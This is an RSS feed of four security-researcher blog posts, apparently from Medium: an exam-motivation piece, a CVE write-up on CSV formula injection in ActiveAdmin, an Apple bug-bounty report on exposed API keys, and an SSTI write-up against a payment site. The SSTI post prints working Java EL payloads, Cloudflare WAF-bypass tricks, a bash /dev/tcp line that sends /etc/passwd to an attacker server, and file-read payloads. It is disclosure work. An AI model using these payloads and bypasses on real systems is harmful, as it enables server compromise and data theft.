<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by JzeeRx on Medium]]></title>
        <description><![CDATA[Stories by JzeeRx on Medium]]></description>
        <link>https://medium.com/@jzee-rx?source=rss-5c6b138e29d9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*a6CmipsGXQAHEAIMayWtKA.jpeg</url>
            <title>Stories by JzeeRx on Medium</title>
            <link>https://medium.com/@jzee-rx?source=rss-5c6b138e29d9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 16:17:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jzee-rx/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Passed HTB CWES: A Mindset That Changed Everything]]></title>
            <link>https://jzee-rx.medium.com/how-i-passed-htb-cwes-a-mindset-that-changed-everything-4614fd50717a?source=rss-5c6b138e29d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/4614fd50717a</guid>
            <category><![CDATA[htb-cwes]]></category>
            <category><![CDATA[certification]]></category>
            <category><![CDATA[cwe]]></category>
            <category><![CDATA[htb-academy]]></category>
            <dc:creator><![CDATA[JzeeRx]]></dc:creator>
            <pubDate>Tue, 24 Mar 2026 18:31:38 GMT</pubDate>
            <atom:updated>2026-03-24T18:31:38.404Z</atom:updated>
            <content:encoded><![CDATA[<p>There’s a moment during preparation where you start questioning yourself.</p><p>Am I ready for this?<br>What if I get stuck?<br>What if I miss something obvious?</p><p>If you’re preparing for CWES, you’ve probably had these thoughts.</p><p>I did too.</p><p>And here’s the truth: clearing CWES is not about being perfect. It’s about staying in the game long enough to figure things out.</p><h3>🔥 This Exam Is Not About What You Know</h3><p>CWES does not reward memorization.</p><p>It rewards:</p><ul><li>Curiosity</li><li>Patience</li><li>Persistence</li><li>The ability to think when things are not obvious</li></ul><p>You will face situations where:</p><ul><li>Nothing looks vulnerable</li><li>Payloads don’t work</li><li>The application behaves in unexpected ways</li></ul><p>That does not mean there is no vulnerability.</p><p>It means you need to look differently.</p><h3>🧠 The Mindset Shift That Matters</h3><p>The biggest turning point in my journey was this:</p><p>I stopped asking<br>“Where is the vulnerability?”</p><p>And started asking<br>“What assumptions can I break?”</p><p>Every application is built on assumptions:</p><ul><li>The user will follow the intended flow</li><li>Inputs will behave as expected</li><li>Certain actions won’t be misused</li></ul><p>Your job is simple:</p><p>Break those assumptions.</p><h3>🧩 When You Feel Stuck</h3><p>You will get stuck. Everyone does.</p><p>In those moments, do not panic.</p><p>Instead:</p><ul><li>Step back and re-read the flow</li><li>Look at what you might be ignoring</li><li>Try a completely different angle</li></ul><p>Sometimes the issue is not in what you are testing.</p><p>It is in what you are not questioning.</p><h3>⏳ Patience Is Your Biggest Advantage</h3><p>CWES is a test of patience more than skill.</p><p>Rushing will make you miss things.</p><p>Slow down:</p><ul><li>Observe responses carefully</li><li>Compare normal vs abnormal behavior</li><li>Pay attention to small inconsistencies</li></ul><p>Often, the smallest clue leads to the biggest breakthrough.</p><h3>🔗 Think Beyond Single Bugs</h3><p>One of the most powerful realizations:</p><p>A single issue might not look impactful.</p><p>But when combined with another, it becomes critical.</p><p>Train yourself to think like this:</p><ul><li>“Can this be abused differently?”</li><li>“Can this be chained with something else?”</li><li>“What happens if I push this further?”</li></ul><p>That is where real breakthroughs happen.</p><h3>💭 Doubt Is Part of the Process</h3><p>There will be moments where you feel:</p><ul><li>You are not good enough</li><li>You are missing something obvious</li><li>Others might find it easier</li></ul><p>Ignore that noise.</p><p>Every person who cleared this exam had those same thoughts.</p><p>The difference is simple:</p><p>They kept going.</p><h3>🚀 The Breakthrough Moment</h3><p>At some point, things start to click.</p><p>You begin to:</p><ul><li>See patterns</li><li>Understand behavior faster</li><li>Think more creatively</li></ul><p>And suddenly, what felt impossible starts to make sense.</p><p>That moment is worth everything.</p><h3>🏁 Final Words</h3><p>If you are preparing for CWES, remember this:</p><ul><li>You do not need to know everything</li><li>You need to stay consistent</li><li>You need to stay curious</li><li>You need to trust your thinking</li></ul><p>Most importantly:</p><p>Do not give up when things get hard.</p><p>Because that is exactly the point where you are closest to figuring it out.</p><p>If you are on this journey right now, keep going.</p><p>You are closer than you think.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*x6UiAwOwgD-iidzOTPp0Tg.png" /><figcaption>Certificate</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4614fd50717a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2023–51763: CSV Injection in ActiveAdmin — A Security Research Breakdown]]></title>
            <link>https://jzee-rx.medium.com/cve-2023-51763-csv-injection-in-activeadmin-a-security-research-breakdown-d5b0d3663aa4?source=rss-5c6b138e29d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/d5b0d3663aa4</guid>
            <dc:creator><![CDATA[JzeeRx]]></dc:creator>
            <pubDate>Sat, 10 Jan 2026 08:02:53 GMT</pubDate>
            <atom:updated>2026-01-10T08:02:53.894Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2023–51763: CSV Injection in ActiveAdmin — A Security Research Breakdown</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zkR0ks_ZSc_udSv8VViOMg.png" /></figure><h3>Introduction</h3><p>In late 2023, I discovered a critical CSV injection vulnerability in ActiveAdmin (versions prior to 3.2.0) that could enable remote code execution and sensitive data exfiltration. This post documents my findings, the vulnerability’s technical nature, and the responsible disclosure process that led to its patch in version 3.2.0.</p><h3>The Vulnerability</h3><p><strong>CVE ID:</strong> CVE-2023–51763<br> <strong>Affected Component:</strong> csv_builder.rb in ActiveAdmin<br> <strong>Severity:</strong> High (CVSS 8.4)<br> <strong>Affected Versions:</strong> All versions prior to 3.2.0<br> <strong>Status:</strong> Fixed in version 3.2.0 and above</p><h3>What is CSV Injection?</h3><p>CSV injection is a technique where maliciously crafted spreadsheet formulas are embedded into CSV files. Most modern spreadsheet applications (Excel, LibreOffice, Google Sheets) interpret certain prefixes as executable formulas:</p><ul><li>= (formula)</li><li>+ (formula)</li><li>- (formula)</li><li>@ (function macro)</li></ul><p>When a victim imports a malicious CSV file and their spreadsheet application evaluates these formulas, attackers can execute arbitrary code on the user’s system.</p><h3>How the Vulnerability Works</h3><p>ActiveAdmin allows administrators to export data as CSV files — a common and useful feature. However, prior to version 3.2.0, the csv_builder.rb component did not properly sanitize or escape user-supplied data before writing it to CSV output.</p><h3>Attack Flow</h3><ol><li>An attacker with upload/edit privileges in an ActiveAdmin application submits malicious data containing a formula prefix (e.g., =cmd|&#39;/c calc&#39;!A0)</li><li>This data is stored in the database</li><li>When an administrator exports the data to CSV, the malicious formula is included unescaped</li><li>The administrator imports the CSV into Excel, LibreOffice, or similar</li><li>The spreadsheet application executes the embedded formula, running arbitrary code on the administrator’s machine</li><li>The attacker achieves remote code execution on a privileged user’s system</li></ol><h3>Real-World Impact</h3><ul><li><strong>Remote Code Execution (RCE):</strong> Attackers could execute system commands with the privileges of the user opening the CSV</li><li><strong>Data Exfiltration:</strong> Sensitive information from the administrative system could be extracted</li><li><strong>System Compromise:</strong> Full system access is possible depending on the user’s permissions</li></ul><h3>Discovery and Responsible Disclosure</h3><p>I identified this vulnerability through security research focused on ActiveAdmin’s CSV export functionality. Upon discovery, I immediately reported the issue to the ActiveAdmin maintainers through their official security reporting channels.</p><p>The development team responded promptly, and the fix was implemented in pull request #8161, which was merged prior to the 3.2.0 release. The patch introduced proper escaping of data starting with formula characters, preventing formula injection while maintaining CSV functionality.</p><h3>The Fix</h3><p>ActiveAdmin 3.2.0 addresses the vulnerability by escaping any data that begins with characters used by spreadsheet programs (=, +, -, @). The csv_builder.rb was modified to prepend these characters with a single quote (&#39;), which spreadsheet applications treat as a literal character rather than a formula prefix.</p><h3>Example Fix</h3><p><strong>Vulnerable Code:</strong></p><pre># Data exported as-is<br>csv &lt;&lt; [user_data, another_field]  # If user_data = &quot;=cmd|...&quot;</pre><p><strong>Fixed Code:</strong></p><pre># Data is escaped before export<br>csv &lt;&lt; [escape_csv_formula(user_data), another_field]<br># Becomes: &#39;cmd|... (treated as text, not formula)</pre><h3>Mitigation and Recommendations</h3><p><strong>For ActiveAdmin Users:</strong></p><ol><li><strong>Upgrade immediately</strong> to ActiveAdmin 3.2.0 or higher</li><li><strong>Review CSV exports</strong> for any suspicious content before opening in spreadsheet applications</li><li><strong>Restrict CSV export permissions</strong> to trusted administrative users only</li><li><strong>Educate teams</strong> on CSV injection risks and the importance of not ignoring security warnings from spreadsheet applications</li></ol><p><strong>Spreadsheet Users:</strong></p><ul><li>Disable formula evaluation when importing untrusted CSV files</li><li>Enable Protected View in Microsoft Office</li><li>Review any suspicious-looking content before allowing formula execution</li></ul><h3>Timeline</h3><ul><li><strong>[Date of Discovery]:</strong> Vulnerability identified and reported to ActiveAdmin</li><li><strong>[Date of Patch]:</strong> Fix implemented in ActiveAdmin 3.2.0</li><li><strong>December 28, 2023:</strong> CVE-2023–51763 publicly disclosed</li><li><strong>CVSS Score:</strong> 8.4 (High severity)</li></ul><h3>Lessons Learned</h3><p>This vulnerability highlights several important security principles:</p><ol><li><strong>Input Sanitization is Critical:</strong> CSV export is often overlooked in security reviews, but it’s an important attack surface</li><li><strong>Defense in Depth:</strong> While CSV injection relies on spreadsheet applications evaluating formulas, the application layer should still prevent injection</li><li><strong>Responsible Disclosure Works:</strong> Quick communication with maintainers led to a timely patch and responsible public disclosure</li></ol><h3>Conclusion</h3><p>CSV injection is a subtle but dangerous vulnerability class that can affect any application exporting data. The fix in ActiveAdmin 3.2.0 demonstrates how a simple escaping mechanism can neutralize the threat while preserving functionality.</p><p>If you’re maintaining an application that exports CSV files, I strongly recommend auditing your export functions for similar issues. Security research like this makes open-source projects stronger and benefits the entire community.</p><p><strong>Want to learn more?</strong></p><ul><li>OWASP CSV Injection: <a href="https://owasp.org/www-community/attacks/CSV_Injection">https://owasp.org/www-community/attacks/CSV_Injection</a></li><li>ActiveAdmin Security Advisory: <a href="https://github.com/activeadmin/activeadmin/pull/8161">https://github.com/activeadmin/activeadmin/pull/8161</a></li><li>NVD Entry: <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-51763">https://nvd.nist.gov/vuln/detail/CVE-2023-51763</a></li></ul><p><em>Have you encountered similar vulnerabilities? Share your experiences in the comments below.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d5b0d3663aa4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Revealing a Security Snag: Uncovering Sensitive Data Exposure in an Apple Application]]></title>
            <link>https://jzee-rx.medium.com/revealing-a-security-snag-uncovering-sensitive-data-exposure-in-an-apple-application-c93da97cae0d?source=rss-5c6b138e29d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/c93da97cae0d</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[apple-security]]></category>
            <category><![CDATA[apple]]></category>
            <dc:creator><![CDATA[JzeeRx]]></dc:creator>
            <pubDate>Wed, 07 Feb 2024 13:24:32 GMT</pubDate>
            <atom:updated>2024-02-07T13:56:14.636Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LJ_tqDpMJ7HXwuAk_0GGVQ.jpeg" /><figcaption>Unmasking Security: Decrypting the Code Behind Apple’s App</figcaption></figure><p>Introduction: In the realm of digital security, vigilance is key, even for tech behemoths like Apple. Recently, I stumbled upon a concerning issue within one of Apple’s applications: the inadvertent exposure of sensitive information. In this article, we delve into the details of this discovery and its implications for user privacy and security.</p><p>The Discovery: I was going through some of the apple’s subdomains and one such subdomain caught my attention. I tried some auth bypass methods on that application and found that it is vulnerable to bypass but to my notice it only showed the dashboard template and not any sensitive pages inside it.So after trying many methods to get something juicy i did a routine examination of the application’s JavaScript source code, i was able to uncover certain endpoints that seemed accessible. Further investigation using tools like Burp Suite revealed one endpoint in particular that exposed critical information: <em>the client ID and a client API key</em>. These credentials, typically closely guarded, are akin to the keys to a digital fortress, granting access to sensitive user data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9rle3VeHJ6AA5qRzQx60Cw.png" /><figcaption>Burpsuite request and response of the sensitive endpoint</figcaption></figure><p>Implications: The inadvertent exposure of such sensitive information poses significant risks. With access to the <em>client ID and API key</em>, malicious actors could potentially compromise user accounts, manipulate data, or launch targeted attacks. This not only threatens individual privacy and security but also undermines user trust in Apple’s commitment to safeguarding their data.</p><p>Reporting: Upon discovery of this vulnerability, i reported directly to Apple product security team. Within days i got a response that they will be checking internally and after some months i tried to connect with them through mails and they responded with the issue acceptance and after a few days i received a mail from their end that i have been rewarded an amount of $xxxx</p><p>Conclusion: The discovery of sensitive information exposure within an Apple application underscores the critical importance of prioritizing cybersecurity in today’s digital landscape. As technology evolves, so too must our efforts to safeguard sensitive data and protect user privacy.</p><p>By addressing vulnerabilities proactively and implementing stringent security measures, we can mitigate risks and uphold the trust and integrity of our digital ecosystem. Collaboration between security researchers, developers, and technology companies is essential in this endeavor, as we collectively strive towards a safer and more secure online environment for all users.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c93da97cae0d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Doing it the researcher’s way: How I Managed to Get SSTI (Server Side Template Injection) which…]]></title>
            <link>https://jzee-rx.medium.com/doing-it-the-researchers-way-how-i-managed-to-get-ssti-server-side-template-injection-which-66b239ca0104?source=rss-5c6b138e29d9------2</link>
            <guid isPermaLink="false">https://medium.com/p/66b239ca0104</guid>
            <category><![CDATA[real-world-bug-hunting]]></category>
            <category><![CDATA[security-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security-research]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[JzeeRx]]></dc:creator>
            <pubDate>Tue, 13 Dec 2022 17:29:17 GMT</pubDate>
            <atom:updated>2022-12-13T17:29:17.015Z</atom:updated>
            <content:encoded><![CDATA[<h3>Doing it the researcher’s way: How I Managed to Get SSTI (Server Side Template Injection) which lead to arbitrary file reading on One of the Leading Payment Systems in Asia</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*h6h-kTnX4cKxTGrWsiFEsA.png" /></figure><p>Hello everyone,</p><p>This is my first longer write-up about one of my discoveries made while bug hunting.</p><h3>Initial Foothold</h3><p>I was browsing through a website which came to my notice was one of a leading payment system provider in Asia. So, I was checking on this and found that it had a weird issue on the parameter passing through it (Thanks to burpsuite :D ). It reflected what was send to the request parameter but with a twist :)</p><p>This is nothing but SSTI , which means the payload sending from the user end is getting injected onto the server and it executed the payload and shows the result of that particular payload if the payload we give is actually understandable by the server. Here in this case i provided <strong>${7*7}</strong> which in turn on the response it was executed as 7*7 which is 49 . That means it is vulnerable to Server side template injection (SSTI). You can read more on this from <a href="https://medium.com/@bdemir/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68">here</a> or from <a href="https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti">here</a>.</p><p>The response for the above request was like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P174gvldhycZZIByf4pX6w.png" /></figure><p>At this point i had no idea where to start, so as usual i did the normal thing which is copy pasting all the SSTI payloads from <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md">PayloadAllTheThings</a> and <a href="https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection">Hacktricks</a></p><p>Only a few worked, and I reported the bug immediately. But still, I felt something was missing from my end. After a while, the team replied, mentioning that if I could do anything to escalate the issue to critical or high severity, This piqued my interest, and I decided to learn more about the subject.</p><p>So I started to read some blogs and write-ups related to SSTI and Expression Language Injection, but none of them were successful. One thing which was sure was the application is using Java which is a simple and powerful language ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*ayecMRoqq_8pT4aaHi7JMA.gif" /></figure><p>And one more challenge that I had to face was that the application was behind a Cloudflare firewall. So any payload I try to execute will eventually fail. So I thought to quit.</p><p>This is one of the payload which i tried and is blocked by the WAF :</p><p><strong><em>$%7btrue.getClass().forName(\%22Java.lang.Runtime\%22).getMethods()[6].invoke(true.getClass().forName(\%22Java.lang.Runtime\%22)).exec(\%27bash%20-c%20\%22cat%20/etc/passwd%20%3E%26%20/dev/tcp/&lt;ourserver&gt;%200%3E%261%22%20%27%20)%7D</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fHWQzqi8g8LlulPKgRAx4A.png" /></figure><h3>Getting into the track</h3><p>The journey continued after the support which i got from my workplace team members , now i started to explore more on the topic and understand the language.</p><p>I started with reading some blogs related to expression language injection and found this amazing <a href="https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html">blog</a>. In this blog it is mentioned that i can create a javascript instance using ScriptEngineManager and execute the java code using that.</p><p>I used the below payloads :</p><p><strong><em>${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance()}</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TWmWxNlW_sImEITp8miYfQ.png" /></figure><p>So to find out what kind of scriptengine it is using we can use — <strong><em>${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘JavaScript’)}</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fjpRXHVgMq3LMsWcAJCH8Q.png" /></figure><p>And for getting the language name and version —</p><p><strong><em>${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineFactories()[0].getLanguageName()}</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JAouPddNcmzihTkRqCmWNw.png" /></figure><p><strong><em>${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineFactories()[0].getLanguageVersion()}</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u2Qtfc5XkJ8kxVSQ0S_J-Q.png" /></figure><p>I was excited at first since i got some results from the above requests.</p><p>But the real challenge came after using the payloads having the exec() or eval() since they are detected by the cloudflare as i mentioned earlier :(</p><p>This is a payload with eval function — <strong><em>${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘JavaScript’).eval(\”new+java.lang.String(‘test’)\”)}</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZVNOsrVAzaCIL5d54Ko9iw.png" /></figure><p>So i thought this wont work i started again from the beginning and tried to get some sensitive information from the server.</p><p>I used the payload <strong><em>${class.forName(“java.lang.System”).getProperty(“user.home”)}</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gK5xWGQBcpZJTtgvSQbZ5Q.png" /></figure><p>The response didn&#39;t contain anything. At that point i understood that it wont work this way , i need to use the same ScriptEngineManager technique to see the result.</p><h3>Bypassing WAF</h3><p>So the only way to move forward is to bypass the WAF detection of certain functions. While i was testing the functions i tried to use the words <strong>evaluate()</strong> and <strong>execute() </strong>instead of <strong>eval()</strong> and <strong>exec()</strong> and i found out that it detects only the keywords eval and exec and not evaluate or execute. So i got to know i need something along with the keyword eval or exec and after some research i found <a href="https://www.fileformat.info/info/charset/GBK/encode.htm">gbk encoding</a> technique.</p><p>So i used \u0028 replacing “(“ since i know that the language used is java.</p><p>So now my function changes to eval\u0028) and it worked. :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*qQhPCDW9_scfzttZl1gEUw.gif" /></figure><p>So i used the below payload to get some sensitive information.</p><p><strong><em>${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘nashorn’).eval\u0028&#39;java.lang.System.getProperty(“user.home”)’)}</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tHLwN0IhPIq6CAVVvlEmAw.png" /></figure><p>I got the application user’s home directory :D</p><p>Another thing i noticed is the WAF detected keywords like “runtime” and commands like “whoami”, “etc/passwd” etc.</p><p>So i decided to instead provide those keywords as “run”+”time” (concatenation method) and it worked :D</p><p>Now, I tried to look for RCE by combining all the above methods. So I used the same blog that I previously mentioned.</p><p><strong><em>test${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘js’).eval\u0028&#39;java.lang.Run’+’time.getRuntime().exec\u0028&quot;who”+”ami”).getInputStream()’).toString()}</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mu5fsShI0CMhTHXCnAprQA.png" /></figure><p>This means i got a unixprocess instance up. But it didn&#39;t execute anything. I tried to provide a reverse shell payload using the same way and it didn&#39;t work either :(</p><p>I was thinking hard and trying many methods to get a reverse shell, but all ended in vain. But still, I was happy at this point since I managed to bypass CloudFlare and get the internal directory for reporting to the team.</p><p>After some thoughts while driving my way back home from office on my bike i thought about “Why shouldn’t i try to fetch some sensitive information like etc/passwd through some java file reading techniques?”</p><p>I tried to research more on those methods to see if I could pull out or read sensitive files like that, and I found a way.</p><p>I can use <strong><em>java.nio.file.Files.readAllLines(java.nio.file.Paths.get(‘filepath’)).get(0) </em></strong>method to fetch sensitive files from the server and read it.</p><h4>Cloudflare detection</h4><p><strong><em>${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘js’).eval\u0028&#39;java.nio.file.Files.readAllLines(java.nio.file.Paths.get(“../../../../../etc/passwd”)).get(1)’)}</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oKhPiHRF8jKHlKtIM7X1rQ.png" /></figure><h4>Cloudflare detection bypass</h4><p><strong><em>${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘js’).eval\u0028&#39;java.nio.file.Files.readAllLines(java.nio.file.Paths.get(“../../../../../et”+”c/passwd”)).get(1)’)}</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nCJTbcfeLwk3ovB3cbC_Yg.png" /></figure><p>I was able to read server files using this method. At this point i was very excited and reported this to the team and they appreciated me and the bug was immediately rated as <strong>Critical</strong> :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TxtlKHnC2RiZ_IKGKiSRdg.png" /></figure><h4>Tips to improve bug hunting/research skill</h4><ol><li>Read , read , read. Try to read a lot on latest articles related to CVE or new technologies, if possible try to practice some labs related to that.</li><li>Try to take breaks in between. I know sometimes when we get into something we feel like to give up when there is no result, NEVER GIVE UP. Sometimes when you go for a ride you may get some new ideas :D</li><li>Try to research for possible programming code examples available if there is a code injection.</li></ol><p>Thanks for reading this article. I hope that i could help you in some way :D</p><h4><strong>Special Mention</strong></h4><p>I am very grateful to all my team members for their support during my bug hunting journey. Thanks a lot :D</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66b239ca0104" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>